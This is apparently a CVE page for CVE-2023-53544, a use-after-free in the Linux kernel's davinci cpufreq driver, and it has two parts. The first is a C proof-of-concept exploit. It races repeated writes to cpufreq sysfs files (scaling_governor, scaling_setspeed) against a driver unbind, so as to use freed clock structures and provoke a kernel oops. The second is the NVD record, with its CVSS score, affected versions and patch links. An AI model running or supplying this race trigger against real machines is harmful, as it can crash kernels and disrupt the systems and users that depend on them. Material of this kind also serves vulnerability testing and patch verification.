CVE-2023-53544

/* CVE-2023-53544 PoC - Linux kernel cpufreq davinci clk use-after-free * This PoC demonstrates the race condition between clk free and * cpufreq_unregister_driver() in the davinci cpufreq driver. * * Note: Requires root privileges to bind/unbind the davinci cpufreq driver. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <sys/stat.h> #include <pthread.h> #include <errno.h> #define DAVINCI_CPUFREQ_DRIVER "daVinci-cpufreq" #define SYSFS_CPUFREQ_PATH "/sys/devices/system/cpu/cpu0/cpufreq" #define SYSFS_DRIVER_PATH "/sys/bus/platform/drivers/daVinci-cpufreq" static void trigger_cpufreq_access(void) { /* Try to trigger cpufreq callbacks that access the freed clk */ int fd; char buf[64]; fd = open(SYSFS_CPUFREQ_PATH "/scaling_governor", O_WRONLY); if (fd >= 0) { write(fd, "performance\n", 12); close(fd); } fd = open(SYSFS_CPUFREQ_PATH "/scaling_setspeed", O_WRONLY); if (fd >= 0) { snprintf(buf, sizeof(buf), "%d\n", 0); write(fd, buf, strlen(buf)); close(fd); } } static void unbind_driver(void) { int fd; fd = open(SYSFS_DRIVER_PATH "/unbind", O_WRONLY); if (fd >= 0) { write(fd, "cpufreq-davinci.0\n", 18); close(fd); } } void *race_thread(void *arg) { while (1) { trigger_cpufreq_access(); usleep(1); } return NULL; } int main(int argc, char *argv[]) { pthread_t tid; int ret; printf("CVE-2023-53544 PoC - cpufreq davinci clk UAF\n"); /* Spawn thread to continuously trigger cpufreq callbacks */ ret = pthread_create(&tid, NULL, race_thread, NULL); if (ret != 0) { perror("pthread_create"); return 1; } /* Unbind the driver to trigger the vulnerable remove path */ unbind_driver(); pthread_cancel(tid); pthread_join(tid, NULL); printf("PoC execution completed. Check dmesg for kernel oops.\n"); return 0; }

{"cve": {"id": "CVE-2023-53544", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T16:15:49.527", "lastModified": "2026-03-21T00:29:58.727", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ncpufreq: davinci: Fix clk use after free\n\nThe remove function first frees the clks and only then calls\ncpufreq_unregister_driver(). If one of the cpufreq callbacks is called\njust before cpufreq_unregister_driver() is run, the freed clks might be\nused."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.33", "versionEndExcluding": "4.14.308", "matchCriteriaId": "FE315D22-037F-415F-AA37-7BFED8E44D3E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.15", "versionEndExcluding": "6.1.16", "matchCriteriaId": "5563B6ED-26D9-4BB9-BDB0-33D3A8D67783"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.2.3", "matchCriteriaId": "88C67289-22AD-4CA9-B202-5F5A80E5BA4B"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/5d8f384a9b4fc50f6a18405f1c08e5a87a77b5b3", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/66b3bbe6fbd8dd410868e5b53ac3944a934b9310", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a5f024d0e6f91e05c816ad4ee8837173369dd5cb", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ab05ae4ab831f64bbc427592c86f599ed9c4324f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}